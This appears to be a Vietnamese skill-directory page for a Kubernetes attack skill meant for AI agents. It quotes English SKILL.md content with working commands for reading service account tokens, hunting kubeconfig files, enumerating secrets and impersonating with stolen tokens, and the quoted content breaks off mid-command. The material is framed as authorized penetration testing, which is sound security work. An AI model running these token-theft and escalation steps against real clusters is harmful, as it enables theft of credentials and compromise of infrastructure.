offensive-k8s-attacks
Skill này làm gì
Skill này là phương pháp kiểm thử bảo mật cụm Kubernetes, bao quát tài khoản dịch vụ, quyền RBAC, việc lộ kubelet và truy cập metadata đám mây. Nó dành cho chuyên gia bảo mật đánh giá an toàn cụm khi có văn bản cho phép.
Khi nào nên dùng
- ✓Khi bạn kiểm thử một cụm Kubernetes để tìm cấu hình sai RBAC trong một đánh giá được ủy quyền.
- ✓Khi bạn muốn kiểm tra xem tài khoản dịch vụ của một pod có thể truy cập nhiều hơn mức cần thiết hay không.
- ✓Khi bạn cần rà soát việc lộ kubelet và etcd trong một bài kiểm thử cụm đã ký duyệt.
Liên kết skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-k8s-attacks/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi được ủy quyền kiểm thử cụm Kubernetes của mình. Kiểm tra quyền của tài khoản dịch vụ và các quy tắc RBAC.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill bắt đầu bằng việc xác định vị trí của bạn, chẳng hạn shell trong pod hoặc file kubeconfig. Sau đó nó liệt kê các quyền và kiểm tra các đường leo quyền, như vai trò quá rộng hoặc cổng kubelet bị lộ.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Kubernetes Cluster Attacks
You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.
Quick Workflow
- Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
- Enumerate service account permissions, cluster roles, and accessible resources.
- Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
- Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
- Extract secrets, pivot to other namespaces, and target the control plane.
- Leverage cloud metadata or etcd access for infrastructure-wide compromise.
Phase 1: Initial Enumeration
Determining Your Position
# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes
# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT
# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local
# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token
Setting Up API Access Without kubectl
# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
${APISERVER}/api/v1/namespaces
# Shorthand function for repeated use
k8s_api() {
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
"${APISERVER}$1"
}
# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
-X POST -H "Content-Type: application/json" \
-d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"
Automated Enumeration Tools
# kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER
# peirates - Kubernetes penetration tool (run from within pod)
./peirates
# kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig
# kdigger - Kubernetes-focused container assessment
./kdigger dig all
# kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'
Phase 2: Service Account Token Theft and Abuse
Discovering Tokens
# Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Files: token, ca.crt, namespace
# Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null
# Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}'
# Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token
Token Impersonation
# Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \
--certificate-authority="$CACERT" auth can-i --list
# Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kub
Câu hỏi thường gặp
Bài kiểm thử bắt đầu từ đâu?
Nó có thể bắt đầu từ shell trong pod, một token bị đánh cắp, API server bị lộ hoặc một file kubeconfig.
Nó có kiểm tra quyền truy cập đám mây không?
Có. Nó bao quát truy cập metadata đám mây và liên kết IAM đám mây với cụm.
Đây có chỉ dành cho kiểm thử được ủy quyền không?
Có. Skill được viết cho các đánh giá có văn bản cho phép và phạm vi xác định.
Chi tiết
Mô tả gốc của tác giả
Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata
repo: SnailSploit/Claude-Red
Độ phổ biến
- Sao GitHub
- 10k
- Vị trí xếp hạng
- #11952
- Giấy phép
- MIT
- Cập nhật
- 12/10/2026
Bình luận
- …
Thêm skill từ kho mã này
offensive-active-directory
10kLên kế hoạch kiểm thử bảo mật Active Directory được ủy quyền, từ lập bản đồ mạng đến tìm đường tấn công tới Domain Admin.
offensive-netexec
10kGiúp agent của bạn dùng công cụ NetExec (nxc) cho kiểm thử mạng được ủy quyền, bao gồm các giao thức, xác thực và kiểm tra thông tin xác thực.
offensive-api-abuse
10kLên kế hoạch kiểm thử API được ủy quyền để tìm lạm dụng logic nghiệp vụ, rủi ro GraphQL và điều kiện đua.
offensive-api-security
10kChạy kiểm thử bảo mật được ủy quyền trên API REST, gRPC và WebSocket, dựa trên OWASP API Top 10.
Skill tương tự
openclaw-update
394kGiúp agent của bạn cập nhật OpenClaw Gateway đang có, chọn cách cập nhật phù hợp với cách cài đặt và giữ phiên làm việc của bạn hoạt động.
diagnose-gateway
394kGiúp agent của bạn tìm hiểu vì sao OpenClaw Gateway bị lỗi bằng cách kiểm tra cài đặt, kênh và cổng mà không thay đổi gì.
crabbox-apps
394kGiúp agent của bạn mở và chạy một app trên máy đám mây tạm thời, rồi hiển thị giao diện của nó trong thanh bên của chat.